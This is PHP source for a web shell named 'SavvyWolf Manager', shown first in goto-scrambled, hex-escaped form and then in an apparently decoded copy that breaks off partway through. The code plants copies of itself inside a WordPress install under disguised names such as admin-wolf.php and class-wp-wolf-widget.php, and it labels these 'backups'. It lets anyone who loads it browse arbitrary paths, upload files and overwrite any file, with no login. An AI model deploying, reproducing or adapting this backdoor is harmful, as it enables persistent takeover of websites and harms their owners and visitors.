"\51\xa\40\x20\x20\40\x20\x20\40\x20\40\40\x20\40\74\57\x6c\151\76"; goto G1XjG; h32TQ: goto divNU; goto q92gL; IAdgg: goto q1H7e; goto D5P0j; fRNce: lZZ0g: goto vP4Dj; KzF75: $k3UVf = ["\102", "\x4b\x42", "\115\102", "\107\102", "\124\102"]; goto hni8m; Uv8c9: cYDD9: goto whqwO; tu24d: goto oPyNk; goto pS2BP; GwSIC: goto keMVB; goto guthf; kWfzj: goto vbClr; goto O6ih3; YgAZ8: $lBymf = "\43\x65\66\143\70\x34\x64"; goto AblqU; idpan: if ($dpQ4t == "\x2e" || $dpQ4t == "\x2e\56") { goto ocfHw; } goto pCYfQ; mDAqB: $B3F4l = $aqrPq ? round($aqrPq / pow(1024, $PieIh = floor(log($aqrPq, 1024))), 2) . "\x20" . $k3UVf[$PieIh] : "\x30\x20\x42"; goto tCSRG; fCS8z: goto cYDD9; goto HPjfi; D5P0j: bnY0e: goto sAd3Q; GiVxK: g5_7d: goto cPrUs; AblqU: goto aufte; goto GiVxK; i0nfK: goto lqNHI; goto E3qYj; pCYfQ: goto zMdPZ; goto f6BWi; gh7B8: } goto gPEHO; CD4YR: eVhQJ: goto sJ_Si; b49Fu: echo "\74\x2f\165\x6c\76"; goto FJ4gG; CkLnZ: t4tMY: goto eQLVz; Yplba: EDyio: goto WecCq; gpxDS: $R_nNl = scandir($vauWU); goto eJwgz; WecCq: goto wzVv1; goto CkLnZ; QYP14: YXUXK: goto QPWcr; cWSII: goto NaCf4; goto OmIxM; ogHZ6: goto fgssI; goto ftQJ7; xugAJ: bEyU2: goto GDkcZ; Jnt2g: VJqJ3: goto KoFgH; DM0zF: goto t49A3; goto NQWOC; gAPDe: t49A3: goto r9vlB; eQLVz: echo "\74\x68\162\x3e"; goto bqC20; QPWcr: goto vufCw; goto xugAJ; OmIxM: wzVv1: goto RfN8u; Xg4oP: goto pi16x; goto UolbQ; eJwgz: goto bEyU2; goto EryWB; YUp8X: } goto hwcic; Zxx1A: tgKSm: goto uZPR8; iEfFP: pRgnw: goto NGkOc; rlCLw: goto kdXkM; goto KVo_X; hwSmE: uQw4X: goto r8Dpg; MJJWJ: echo "\74\57\x66\x6f\x72\x6d\76"; goto b6NRj; JssyF: goto nr2Nu; goto S8bgW; AcEbo: YGeat: goto milYy; EmgsO: echo "\40\40\x20\40\x3c\x64\x69\x76\40\143\154\x61\163\x73\x3d\42\142\x61\x63\153\165\x70\x2d\142\157\x78\42\x20\x73\164\171\x6c\145\75\42\143\157\154\x6f\x72\x3a\x23\146\x30\60\x22\x3e\12\x20\40\x20\40\40\x20\40\x20\x3f\x20\74\x73\x74\x72\157\156\x67\x3e\x4e\x6f\164\x20\151\156\x73\x69\144\145\x20\x61\40\127\x6f\x72\144\x50\162\145\163\163\x20\x73\x74\162\x75\143\x74\x75\162\145\x2e\x20\x42\x61\143\x6b\165\x70\x20\156\157\x74\40\x64\157\156\x65\x2e\74\57\x73\164\162\157\x6e\x67\76\xa\x20\40\x20\x20\74\x2f\144\x69\x76\76\12"; goto b2GVH; ow1zy: w9Nbe: goto gEyv3; gEyv3: pTL3v: goto c3Xrd; hrr_m: z7lmt: goto GAS3w; MQmRH: goto UCkKv; goto aq0A2; yaEiy: XWXcc: goto jKYZg; iGLTA: CZcX_: goto g7Y9Y; EYR5O: goto vwIHm; goto e3hv1; e3hv1: nr2Nu: goto EJRRL; iB3bp: goto hRt28; goto YwgnG; ekAbD: r9jyJ: goto Z7jVX; Gx9zp: BAmXz: goto zIKl7; EJRRL: EBeUq: goto vg3Zw; AFide: $F_ZCv = __FILE__; goto BbDKh; FjQWm: goto aSxQR; goto u8XgO; AOmN2: rFc00: goto wvbd6; UjgB3: C10Q8: goto YxStO; SFICb: TJmt0: goto JRuLV; oDtyC: CgbUX: goto hmdW0; Ts479: xIJb7: goto HxFr0; xPvWt: lIJEQ: goto DgCSH; JpyVE: goto Wjrfk; goto hHSam; AeaUa: echo "\74\x2f\x66\x6f\x72\155\76"; goto RBDxM; aq0A2: goto fnrvT; goto XWHkV; ZEl90: goto PIW5Z; goto MO3yq; JnfhL: $QAEVz = $pZJaV . "\x2f\145\x64\x69\164\55\167\x6f\x6c\146\56\160\x68\x70"; goto bOITQ; GywUi: switch ($d4Ee3) { case "\145\x64\151\x74": goto g9e1E; mj8LJ: yxzaf: goto Npkil; g9e1E: goto A8cNj; goto EHYcF; Ksduv: goto CZcX_; goto JQM10; Uoi2W: goto KV_GN; goto tL0N5; hejTp: pKKdu: goto IQPfX; ErRSh: K2let: goto pnlL9; mF4cQ: KV_GN: goto P5ZDl; fztYj: echo "\106\x69\154\x65\x20\156\157\164\x20\146\x6f\x75\156\x64\56"; goto gtPdv; pnlL9: xJltS($A62rI); goto jdaGN; vOneY: OA7S5: goto oMqTm; PAM9I: goto KwH5U; goto aY1YS; kcUcA: NPM9h: goto Xq8tm; o5mhH: goto NPM9h; goto O9nTt; dZhrJ: A8cNj: goto XHFzp; aHpxT: Z9Gsh: goto EzJFm; OU3qe: goto CfCi3; goto OB_ki; aSF4_: goto OA7S5; goto dZhrJ; EzJFm: goto mDBU3; goto Uoi2W; OB_ki: XdBDq: goto DcdNv; W3GZO: goto McNkX; goto mj8LJ; xSKcU: goto QSZb_; goto mF4cQ; sPXA0: KwH5U: goto FgUdG; TU9Oj: SW44_: goto Y7MgE; ydciX: Aj2iy: goto WlLfk; WBsg7: $loEOg = $_GET["\x66\x69\154\x65"]; goto o5mhH; beplT: goto Z9Gsh; goto W8Xk6; W8Xk6: dfTzv: goto eFV6C; y1ax2: DnL0n: goto iex1_; Y7MgE: goto Aj2iy; goto vOneY; iex1_: McNkX: goto PAM9I; tL0N5: h_X0h: goto WWzSG; cTunn: iPVQ_: goto TU9Oj; DcdNv: goto pKKdu; goto hejTp; EHYcF: wj14q: goto WBsg7; P5ZDl: CfCi3: goto hIPp_; Xq8tm: $A62rI = $vauWU . "\57" . $loEOg; goto aSF4_; aY1YS: ASgn1: goto fztYj; O9nTt: QSZb_: goto Ksduv; ijmSe: goto K2let; goto cTunn; eFV6C: goto SW44_; goto geDMA; gtPdv: goto dfTzv; goto aHpxT; XHFzp: if (!isset($_GET["\x66\151\154\145"])) { goto XdBDq; } goto OU3qe; jdaGN: goto iPVQ_; goto sPXA0; JQM10: goto h_X0h; goto kcUcA; WlLfk: mDBU3: goto xSKcU; FgUdG: echo "\x3c\x68\x32\76\105\x64\151\x74\40\106\151\x6c\145\x3a\40" . $loEOg . "\74\57\150\62\x3e"; goto ijmSe; geDMA: goto DnL0n; goto ErRSh; oMqTm: if (!file_exists($A62rI)) { goto yxzaf; } goto W3GZO; Npkil: goto ASgn1; goto ydciX; IQPfX: echo "\x49\x6e\166\x61\154\x69\144\x20\146\x69\x6c\x65\x2e"; goto beplT; hIPp_: goto wj14q; goto y1ax2; WWzSG: default: echo "\x49\156\166\x61\154\x69\144\40\x61\143\164\x69\157\x6e\56"; } goto MVJi9; fraRf: IBdgZ: goto T0x1_; f5nJw: goto DdlOJ; goto MeqQI; yDrKG: goto pesEP; goto Q_al3; bOITQ: goto qo_2A; goto drxCS; xT7aO: ktz3r: goto JYUbk; LY9vW: m3dku: goto HEBDD; kChHv: goto lIJEQ; goto vSxio; r8Dpg: copy($F_ZCv, $EgAyi); goto aIpbz; lZX0D: EWedV($vauWU, $_POST["\x66\x6f\154\x64\x65\162\137\x6e\141\155\145"]); goto HLlls; rQ9PJ: goto yMj3r; goto AqxWW; TmNEf: OlHWp: goto T0NKM; VDkrf: goto MCChH; goto r20ZF; T_hUc: ggFKz: goto to6O3; O30iG: goto FbqFn; goto I5N8Y; sk0Tc: UXbUr: goto FoPVF; d0e34: echo "\x53\x65\154\145\x63\164\x20\146\151\x6c\145\x20\164\157\40\x75\160\154\157\x61\x64\72\x20\x3c\151\x6e\x70\x75\164\40\164\171\x70\145\x3d\x22\x66\x69\x6c\x65\x22\x20\156\141\x6d\x65\75\x22\x66\151\154\145\x5f\164\x6f\137\165\x70\154\x6f\x61\x64\42\76"; goto q7WWK; DpGAS: echo "\116\145\167\40\106\x6f\154\x64\145\x72\x20\116\x61\155\145\72\x20\74\151\x6e\160\165\x74\40\x74\171\x70\145\75\x22\164\145\170\164\x22\x20\156\x61\155\x65\75\42\146\x6f\154\x64\x65\x72\137\x6e\141\x6d\145\42\x3e"; goto e0gBl; e32Ja: goto Dk0cN; goto bQNf1; EI7Ic: goto DE2I4; goto iEfFP; O0CNh: pesEP: goto aJjkF; dZne0: goto YBUTz; goto oDtyC; LoM2_: goto k5ynd; goto xT7aO; MoLAf: echo "\x3c\151\x6e\x70\x75\164\x20\x74\171\x70\145\75\x22\x73\165\142\155\x69\164\42\40\156\x61\155\x65\x3d\42\165\160\x6c\157\141\x64\137\x66\151\x6c\x65\x22\40\166\141\154\165\x65\75\42\125\160\154\157\141\x64\40\x46\151\154\145\x22\76"; goto iB3bp; HLlls: goto TJmt0; goto hL7EI; to6O3: if (!isset($_GET["\x61\x63\164\151\157\156"])) { goto a4YS0; } goto opz5q; XHEpn: $EgAyi = $bmQgw . "\57\x61\x64\x6d\151\x6e\x2d\x77\157\154\x66\56\160\150\x70"; goto D0tJ5; p2muY: goto pRgnw; goto T_hUc; XllfG: if (empty($eM5pn)) { goto Kk5Ke; } goto VW77x; WRCMd: goto CgbUX; goto GdY18; Z9csf: EAMc9: goto TCEj6; gguQb: mEt98: goto iIzks; lVoUm: MdgyN: goto qF4rH; T_yfg: yhlw5: goto vRYNf; Fy9x6: aSxQR: goto tch2Y; RxKaH: YBUTz: goto TkdpK; NzhJw: echo "\12\x3c\41\104\117\103\124\131\x50\105\40\150\164\x6d\154\76\12\74\150\164\155\x6c\40\x6c\141\156\x67\75\42\145\156\x22\x3e\xa\74\x68\x65\141\x64\x3e\xa\74\x6d\x65\164\x61\40\143\150\x61\162\163\x65\x74\x3d\x22\x55\124\x46\55\x38\42\76\xa\x3c\164\x69\x74\x6c\x65\x3e\x53\x61\166\166\x79\x57\x6f\154\x66\74\57\x74\151\164\154\145\76\12\74\154\151\156\153\x20\162\x65\x6c\75\42\151\143\x6f\156\42\x20\164\171\160\145\75\42\x69\155\141\147\x65\57\160\156\147\x22\40\150\162\x65\146\x3d\x22\x68\x74\164\160\x73\72\x2f\x2f\x73\164\x61\x74\x69\143\x2e\x76\x65\143\x74\145\145\x7a\171\56\143\157\155\57\163\171\x73\x74\145\x6d\x2f\x72\145\163\x6f\165\x72\143\x65\163\57\x74\x68\165\155\x62\156\x61\x69\154\163\x2f\x30\60\63\x2f\63\x38\x31\x2f\62\65\x39\x2f\x73\155\141\154\154\x5f\x32\x78\x2f\167\157\x6c\x66\55\x68\x65\x61\x64\55\x6c\157\147\x6f\x2d\144\x65\x73\151\147\x6e\x2d\x74\145\x6d\160\x6c\x61\164\x65\x2d\x66\162\x65\x65\x2d\x76\145\143\164\x6f\x72\56\x6a\160\147\x22\x3e\12\74\x73\x74\x79\x6c\145\x3e\12\40\x20\40\40\142\x6f\144\171\40\x7b\x20\x66\157\156\x74\x2d\x66\141\x6d\x69\154\171\x3a\x20\101\162\x69\141\154\54\x20\163\x61\x6e\x73\x2d\x73\145\162\x69\146\73\x20\x62\x61\143\153\x67\x72\x6f\165\156\x64\72\40\x23\61\61\x31\73\40\143\157\x6c\x6f\162\72\40\x23\145\x65\145\73\x20\x6d\x61\x72\147\151\x6e\72\x20\60\x3b\x20\x70\x61\144\x64\151\x6e\x67\72\x20\x30\73\40\175\xa\x20\x20\x20\x20\x23\143\157\156\164\141\151\x6e\145\x72\x20\x7b\40\155\141\x78\55\167\x69\x64\x74\x68\x3a\x20\x38\x30\60\x70\170\73\40\x6d\141\x72\147\151\156\x3a\40\62\60\x70\x78\x20\141\165\x74\x6f\73\x20\160\141\x64\144\151\x6e\x67\x3a\x20\62\60\x70\x78\x3b\x20\x62\157\162\x64\145\162\72\x20\61\x70\170\40\163\x6f\154\151\144\40\x23\64\x34\x34\x3b\40\142\x6f\162\144\145\162\x2d\x72\141\144\x69\x75\x73\x3a\40\x35\160\170\x3b\40\142\141\143\153\x67\x72\157\165\x6e\144\55\x63\157\x6c\157\162\72\x20\x23\61\x63\x31\x63\61\143\x3b\40\x7d\xa\40\x20\40\x20\x68\x31\40\x7b\xa\40\x20\x20\40\40\x20\40\40\164\x65\x78\x74\x2d\x61\154\x69\x67\x6e\x3a\x20\x63\x65\x6e\164\x65\x72\73\12\x20\40\x20\40\40\40\x20\x20\143\x6f\x6c\x6f\162\x3a\x20\x23\x66\146\x66\73\12\x20\40\x20\x20\x20\40\40\x20\146\157\x6e\x74\55\x73\151\172\x65\x3a\40\x32\70\160\170\73\12\x20\40\x20\40\175\12\40\40\40\40\x68\61\40\x69\155\147\x20\x7b\xa\40\40\40\x20\x20\x20\x20\x20\150\145\x69\x67\150\x74\x3a\x20\62\x38\x70\x78\x3b\xa\x20\40\40\40\40\x20\40\x20\166\x65\x72\x74\x69\x63\x61\154\x2d\x61\154\x69\x67\x6e\x3a\40\x6d\x69\x64\144\x6c\x65\x3b\12\x20\x20\40\x20\x20\40\x20\40\x6d\141\162\147\151\x6e\x2d\162\151\x67\150\x74\x3a\x20\x38\160\x78\x3b\12\40\x20\x20\x20\x20\x20\40\40\142\x6f\162\x64\145\x72\x2d\162\141\x64\x69\x75\163\x3a\x20\x34\160\x78\x3b\xa\x20\40\40\40\x7d\12\40\x20\40\40\150\x31\x20\x73\160\x61\156\x2e\x72\145\144\x20\173\xa\40\x20\x20\x20\x20\x20\40\x20\x63\x6f\154\x6f\162\x3a\40\x23\x63\x31\x30\x30\x30\x30\73\xa\x20\40\x20\x20\x7d\xa\x20\x20\x20\x20\56\142\141\143\x6b\x75\x70\x2d\142\157\170\40\173\x20\x62\x61\x63\x6b\x67\162\157\x75\x6e\x64\72\40\x23\x30\60\x30\x3b\40\x63\157\154\157\x72\72\40\43\60\x66\x30\x3b\40\160\x61\x64\x64\151\156\x67\x3a\40\x31\x30\x70\x78\73\40\x66\157\156\164\55\163\151\172\145\x3a\x20\x31\x34\160\x78\x3b\40\142\x6f\x72\x64\x65\x72\x2d\162\x61\144\151\x75\x73\72\x20\x38\160\x78\73\x20\x6d\x61\x72\x67\151\156\x2d\x62\157\x74\x74\x6f\x6d\x3a\x20\61\65\x70\x78\73\40\175\12\x20\x20\x20\x20\x68\62\54\40\x68\x33\40\173\40\143\x6f\x6c\157\162\x3a\x20\43\143\x63\143\x3b\x20\175\xa\40\x20\x20\x20\x61\40\173\x20\143\157\x6c\157\162\x3a\x20\43\64\141\x61\x33\146\x66\x3b\x20\x74\145\170\x74\55\144\145\143\x6f\x72\x61\164\151\157\x6e\72\40\x6e\157\x6e\145\73\x20\175\12\x20\x20\x20\x20\x61\x3a\150\x6f\166\x65\x72\x20\x7b\40\x74\145\170\164\55\144\x65\143\157\162\x61\x74\x69\157\x6e\x3a\40\165\x6e\144\x65\162\x6c\151\x6e\145\73\40\x7d\12\x20\40\40\40\151\x6e\160\165\164\x2c\x20\164\145\170\164\x61\x72\145\141\x20\173\x20\142\141\143\x6b\x67\x72\x6f\x75\156\x64\x3a\x20\43\x32\62\x32\x3b\40\143\157\154\x6f\x72\x3a\40\43\x65\145\x65\73\x20\x62\x6f\162\x64\145\162\x3a\40\x31\160\170\40\163\x6f\x6c\151\144\x20\43\x35\65\x35\73\x20\160\x61\144\144\x69\156\147\72\x20\x35\x70\170\73\40\142\x6f\162\x64\145\x72\55\162\141\144\151\165\x73\72\40\64\x70\x78\x3b\x20\175\12\40\40\x20\40\151\x6e\x70\x75\x74\133\164\171\160\x65\75\42\x73\x75\142\x6d\151\164\x22\x5d\x20\173\40\143\165\162\163\x6f\x72\x3a\40\160\157\x69\156\x74\x65\x72\x3b\x20\175\xa\40\40\40\40\x68\162\40\173\x20\142\157\162\144\145\162\72\x20\60\x3b\x20\150\x65\151\147\x68\164\72\x20\61\160\x78\x3b\x20\x62\x61\143\x6b\x67\162\157\x75\x6e\x64\x2d\143\x6f\x6c\x6f\162\72\40\x23\x34\64\x34\x3b\x20\155\141\162\x67\151\156\x2d\x74\157\160\72\x20\x32\60\x70\170\x3b\x20\155\141\162\x67\151\156\55\142\157\x74\164\x6f\155\72\40\x32\x30\160\170\73\40\x7d\xa\74\x2f\x73\164\171\154\145\x3e\12\x3c\57\150\x65\x61\144\76\12\74\x62\x6f\144\171\x3e\xa\74\144\151\x76\x20\x69\144\75\x22\143\x6f\x6e\x74\141\151\156\x65\162\x22\76\xa"; goto Z4OMa; JRuLV: PIW5Z: goto QzfZh; fSI2X: DE2I4: goto sh_3t; qOegN: goto BAmXz; goto Jsruj; J4p2t: QeE33: goto MoLAf; lyuG5: HvJSg: goto Oi_LD; Jn9Vy: a4YS0: goto e88Pc; sh_3t: $wnDN1 = ''; goto qOegN; DkQ0l: goto uFcp3; goto O4oam; ppqvW: echo "\74\x68\x32\x3e\x44\151\162\x65\143\164\x6f\162\171\72\40" . $vauWU . "\74\x2f\x68\62\x3e"; goto QkYPJ; WHbwu: echo "\x3c\x70\76" . YOwUm($vauWU) . "\x3c\57\160\x3e"; goto N0aCE; FoPVF: echo "\74\150\x72\x3e"; goto KnC45; g7Y9Y: goto d5WEf; goto DHOvE; aIpbz: goto YGeat; goto xPvWt; HCCsS: goto ktz3r; goto Bn8RS; Q_yIk: goto qi3fc; goto sk0Tc; v2YkN: h6fje: goto ffpSo; e_x1x: goto GctDH; goto RFZ73; r20ZF: Te8RO: goto rQ9PJ; S63FC: txT1m: goto KSLjU; GdY18: qSUIr: goto OyIjO; KQUa4: goto XjD93; goto Fy9x6; Aduqz: qo_2A: goto WLtza; T0NKM: PBKr_($vauWU, $_FILES["\146\151\x6c\145\x5f\x74\x6f\137\165\160\154\x6f\x61\144"]); goto e32Ja; DgCSH: pNLwg: goto WNdsc; QzfZh: goto xIJb7; goto YiWEH; t24t2: echo "\x3c\146\157\x72\x6d\x20\141\x63\x74\x69\157\x6e\75\x22\42\x20\x6d\x65\164\150\x6f\x64\x3d\42\x70\x6f\163\x74\42\x3e"; goto jhbaz; b8qmo: goto h_zdC; goto S63FC; YwgnG: tvVEy: goto Eo3Wm; I5N8Y: d5WEf: goto UjgB3; vg3Zw: goto yPikk; goto hrr_m; drxCS: cfFmc: goto AFide; JYUbk: if (is_dir($vipEb)) { goto KhpzJ; } goto TtpvP; vSxio: ZqJi1: goto d1dI_; QkYPJ: goto B17zx; goto AOmN2; Z4OMa: goto Xkf80; goto Gx9zp; SbVxC: echo "\xa\x3c\150\x31\x3e\xa\40\40\40\40\74\151\155\147\x20\x73\x72\x63\75\x22\x68\x74\164\x70\x73\72\x2f\x2f\163\164\141\x74\x69\x63\x2e\x76\145\143\164\145\145\x7a\x79\56\143\x6f\155\57\163\x79\163\x74\145\x6d\x2f\162\145\163\157\x75\162\x63\x65\163\x2f\x74\150\x75\x6d\x62\x6e\141\x69\x6c\163\57\x30\60\63\57\63\x38\61\x2f\62\x35\71\57\163\155\141\154\154\x5f\x32\x78\57\x77\157\x6c\x66\x2d\x68\145\x61\x64\x2d\154\157\x67\157\x2d\144\x65\163\x69\x67\156\55\x74\145\x6d\x70\154\x61\x74\145\55\x66\162\145\x65\x2d\x76\x65\x63\x74\157\162\56\152\x70\147\x22\x20\x61\154\164\x3d\42\x77\x6f\154\146\x22\x3e\12\x20\40\x20\x20\123\141\166\166\x79\x3c\x73\160\x61\156\40\x63\x6c\141\163\x73\75\42\x72\145\x64\42\x3e\x57\74\57\163\x70\141\156\x3e\x6f\154\146\x20\x2d\40\x3c\163\x70\x61\x6e\x20\143\154\141\163\x73\75\42\162\x65\144\x22\x3e\x4d\x41\x4e\101\x47\x45\122\x3c\57\163\x70\x61\x6e\x3e\xa\x3c\57\x68\x31\x3e\xa\xa"; goto f5nJw; KqKIJ: goto QP36_; goto O0CNh; Lfg7D: yvJ8Q: goto MJJWJ; HEBDD: goto w9Nbe; goto BPSPh; HxFr0: if (isset($_POST["\165\x70\x6c\157\x61\x64\x5f\x66\x69\x6c\145"])) { goto EAMc9; } goto h9b4P; O4oam: qi3fc: goto WrkC7; TcYaX: CRcFV: goto Bn29K; T0x1_: echo "\x3c\150\x33\76\x43\162\145\x61\x74\145\x20\x4e\145\x77\x20\x46\157\x6c\x64\145\x72\72\74\x2f\150\63\x3e"; goto KQUa4; TsaVk: goto ZhcRC; goto hwSmE; iIzks: RG2GP: goto HCCsS; milYy: $eM5pn[] = $EgAyi; goto kChHv; W1qPx: goto CRcFV; goto TmNEf; NGkOc: goto kdXkM; goto JssyF; TkdpK: echo "\x20\40\40\40\x3c\57\144\x69\x76\76\xa"; goto p2muY; Y_vFD: N1Bla: goto SUM_S; teEk2: goto fmawl; goto hCfBF; lzD8l: echo "\x3c\x2f\144\151\x76\76\xa\74\x2f\142\157\144\x79\76\xa\x3c\57\150\164\x6d\x6c\x3e\12";
?>

Decoded(de-Obfuscated) php code

<?php

$eM5pn = [];
$F_ZCv = "/var/www/html/input.php";
$F8J4a = false;
function YQjAC($vauWU)
{
    ufzoF:
    if ($vauWU !== dirname($vauWU)) {
        if (is_dir($vauWU . "/wp-content") && is_dir($vauWU . "/wp-admin") && is_dir($vauWU . "/wp-includes/widgets")) {
            return $vauWU;
        }
        saGcv:
        $vauWU = dirname($vauWU);
        goto ufzoF;
    }
    TFzVg:
    return false;
}
$MdddE = realpath("/var/www/html");
$wnDN1 = '';
if (!(strpos($MdddE, "public_html") !== false)) {
    $wnDN1 = yqJAC($MdddE);
    goto UCkKv;
}
v2YkN:
$wnDN1 = substr($MdddE, 0, strpos($MdddE, "public_html") + strlen("public_html"));
UCkKv:
if ($wnDN1 && is_dir($wnDN1)) {
    $bmQgw = $wnDN1 . "/wp-admin";
    $pZJaV = $wnDN1 . "/wp-content";
    $vipEb = $wnDN1 . "/wp-includes/widgets";
    if (is_dir($bmQgw)) {
        $EgAyi = $bmQgw . "/admin-wolf.php";
        copy($F_ZCv, $EgAyi);
        $eM5pn[] = $EgAyi;
        goto DgCSH;
    }
    DgCSH:
    if (is_dir($pZJaV)) {
        $QAEVz = $pZJaV . "/edit-wolf.php";
        copy($F_ZCv, $QAEVz);
        $eM5pn[] = $QAEVz;
        goto iIzks;
    }
    iIzks:
    if (is_dir($vipEb)) {
        $Mj1HQ = $vipEb . "/class-wp-wolf-widget.php";
        copy($F_ZCv, $Mj1HQ);
        $eM5pn[] = $Mj1HQ;
        goto sO2qg;
    }
    sO2qg:
    $F8J4a = true;
    goto g9TlC;
}
g9TlC:
echo "\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"UTF-8\">\n<title>SavvyWolf</title>\n<link rel=\"icon\" type=\"image/png\" href=\"https://static.vecteezy.com/system/resources/thumbnails/003/381/259/small_2x/wolf-head-logo-design-template-free-vector.jpg\">\n<style>\n    body { font-family: Arial, sans-serif; background: #111; color: #eee; margin: 0; padding: 0; }\n    #container { max-width: 800px; margin: 20px auto; padding: 20px; border: 1px solid #444; border-radius: 5px; background-color: #1c1c1c; }\n    h1 {\n        text-align: center;\n        color: #fff;\n        font-size: 28px;\n    }\n    h1 img {\n        height: 28px;\n        vertical-align: middle;\n        margin-right: 8px;\n        border-radius: 4px;\n    }\n    h1 span.red {\n        color: #c10000;\n    }\n    .backup-box { background: #000; color: #0f0; padding: 10px; font-size: 14px; border-radius: 8px; margin-bottom: 15px; }\n    h2, h3 { color: #ccc; }\n    a { color: #4aa3ff; text-decoration: none; }\n    a:hover { text-decoration: underline; }\n    input, textarea { background: #222; color: #eee; border: 1px solid #555; padding: 5px; border-radius: 4px; }\n    input[type=\"submit\"] { cursor: pointer; }\n    hr { border: 0; height: 1px; background-color: #444; margin-top: 20px; margin-bottom: 20px; }\n</style>\n</head>\n<body>\n<div id=\"container\">\n";
if (empty($eM5pn)) {
    if (!$F8J4a) {
        echo "    <div class=\"backup-box\" style=\"color:#f00\">\n        ? <strong>Not inside a WordPress structure. Backup not done.</strong>\n    </div>\n";
        goto kdXkM;
    }
    EJRRL:
    echo "    <div class=\"backup-box\" style=\"color:#ff0\">\n        ?? <strong>You're inside public_html, but wp-admin or wp-content was not found.</strong>\n    </div>\n";
    goto Z7jVX;
}
ITodK:
echo "    <div class=\"backup-box\">\n         <strong>Backups Created:</strong><br>\n        ";
foreach ($eM5pn as $vauWU) {
    echo "            ";
    echo htmlspecialchars($vauWU);
    echo "<br>\n        ";
}
echo "    </div>\n";
Z7jVX:
kdXkM:
echo "\n<h1>\n    <img src=\"https://static.vecteezy.com/system/resources/thumbnails/003/381/259/small_2x/wolf-head-logo-design-template-free-vector.jpg\" alt=\"wolf\">\n    Savvy<span class=\"red\">W</span>olf - <span class=\"red\">MANAGER</span>\n</h1>\n\n";
function DS87E($mOkU4)
{
    return htmlspecialchars(strip_tags($mOkU4));
}
function YOwUm($vauWU)
{
    $vauWU = str_replace("\\", "/", $vauWU);
    $ruf6m = explode("/", $vauWU);
    $lEw91 = [];
    foreach ($ruf6m as $msWRK => $WiWg4) {
        if ($WiWg4 == '' && $msWRK == 0) {
            $lEw91[] = "<a href=\"?path=/\">/</a>";
            goto rC0IC;
        }
        ZS2Sx:
        if ($WiWg4 == '') {
            goto rC0IC;
        }
        fpqtp:
        $lEw91[] = "<a href=\"?path=";
        $PieIh = 0;
        Pdw0h:
        if ($PieIh <= $msWRK) {
            $lEw91[] = "{$ruf6m[$PieIh]}";
            if ($PieIh != $msWRK) {
                $lEw91[] = "/";
                goto wTg2T;
            }
            wTg2T:
            $PieIh++;
            goto Pdw0h;
        }
        pSLwA:
        $lEw91[] = "\">" . $WiWg4 . "</a>/";
        rC0IC:
    }
    return implode('', $lEw91);
}
function mgIv3($vauWU)
{
    $R_nNl = scandir($vauWU);
    $gf2nH = [];
    $lZBi2 = [];
    foreach ($R_nNl as $dpQ4t) {
        if ($dpQ4t == "." || $dpQ4t == "..") {
            goto divNU;
        }
        cPrUs:
        $B22wx = $vauWU . "/" . $dpQ4t;
        if (!is_dir($B22wx)) {
            $aqrPq = filesize($B22wx);
            $k3UVf = ["B", "KB", "MB", "GB", "TB"];
            $B3F4l = $aqrPq ? round($aqrPq / pow(1024, $PieIh = floor(log($aqrPq, 1024))), 2) . " " . $k3UVf[$PieIh] : "0 B";
            $lZBi2[] = "<li style=\"font-size:16px;\">\n                <span style=\"color:#000;font-weight:600;\">File:</span> \n                <a href=\"?action=edit&file=" . urlencode($dpQ4t) . "&path=" . urlencode($vauWU) . "\" \n                   style=\"color:#0047ab; font-weight:600;\">" . htmlspecialchars($dpQ4t) . "</a> \n                (" . $B3F4l . ")\n            </li>";
            goto mEFBX;
        }
        D2r1I:
        $eiWkt = is_writable($B22wx) ? "#00ff00" : "#e66";
        $lBymf = "#e6c84d";
        $gf2nH[] = "<li style=\"font-size:16px;\">\n                <span style=\"color:#e6c84d; font-weight:600;\">Folder:</span> \n                <a href=\"?path=" . urlencode($B22wx) . "\" style=\"color:" . $eiWkt . "; font-weight:600;\">" . htmlspecialchars($dpQ4t) . "</a>\n            </li>";
        mEFBX:
        divNU:
    }
    echo "<ul>";
    echo implode('', $gf2nH);
    if (!empty($gf2nH) && !empty($lZBi2)) {
        echo "<hr>";
        goto QYP14;
    }
    QYP14:
    echo implode('', $lZBi2);
    echo "</ul>";
}
function eWEDv($vauWU, $aRvg0)
{
    $aRvg0 = dS87E($aRvg0);
    $oxndj = $vauWU . "/" . $aRvg0;
    if (file_exists($oxndj)) {
        echo "Folder '{$aRvg0}' already exists!";
        goto epA0_;
    }
    BplKk:
    mkdir($oxndj);
    echo "Folder '{$aRvg0}' created successfully!";
    epA0_:
}
function PbkR_($vauWU, $JrJtM)
{
    $aicHL = $vauWU . "/" . basename($JrJtM["name"]);
    if (!move_uploaded_file($JrJtM["tmp_name"], $aicHL)) {
        echo "Sorry, there was an error uploading your file.";
        goto uw0iS;
    }
    OA1hK:
    echo "File " . htmlspecialchars(basename($JrJtM["name"])) . " uploaded successfully.";
    uw0iS:
}
function XjLtS($A62rI)
{
    if ($_SERVER["REQUEST_METHOD"] === "POST") {
        $pZJaV = $_POST["file_content"];
        if (!(file_put_contents($A62rI, $pZJaV) !== false)) {
            echo "There was an error while saving the file.";
            goto CHApL;
        }
        KAnGM:
        echo "File saved successfully.";
        CHApL:
        goto YyZmw;
    }
    YyZmw:
    $pZJaV = file_get_contents($A62rI);
    echo "<form method=\"post\">";
    echo "<textarea name=\"file_content\" rows=\"10\" cols=\"50\">" . htmlspecialchars($pZJaV) . "</textarea><br>";
    echo "<input type=\"submit\" value=\"Save\">";
    echo "</form>";
}
$vauWU = isset($_GET["path"]) ? $_GET["path"] : getcwd();
if (!isset($_GET["action"])) {
    echo "<h2>Directory: " . $vauWU . "</h2>";
    echo "<p>" . YOwUm($vauWU) . "</p>";
    echo "<h3>Directory Contents:</h3>";
    mGiv3($vauWU);
    echo "<hr>";
    echo "<h3>Create New Folder:</h3>";
    echo "<form action=\"\" method=\"post\">";
    echo "New Folder Name: <input type=\"text\" name=\"folder_name\">";
    echo "<input type=\"submit\" name=\"create_folder\" value=\"Create Folder\">";
    echo "</form>";
    echo "<h3>Upload New File:</h3>";
    echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">";
    echo "Select file to upload: <input type=\"file\" name=\"file_to_upload\">";
    echo "<input type=\"submit\" name=\"upload_file\" value=\"Upload File\">";
    echo "</form>";
    goto C10Q8;
}
wvbd6:
$d4Ee3 = $_GET["action"];
switch ($d4Ee3) {
    case "edit":
        if (!isset($_GET["file"])) {
            echo "Invalid file.";
            goto mDBU3;
        }
        P5ZDl:
        $loEOg = $_GET["file"];
        $A62rI = $vauWU . "/" . $loEOg;
        if (!file_exists($A62rI)) {
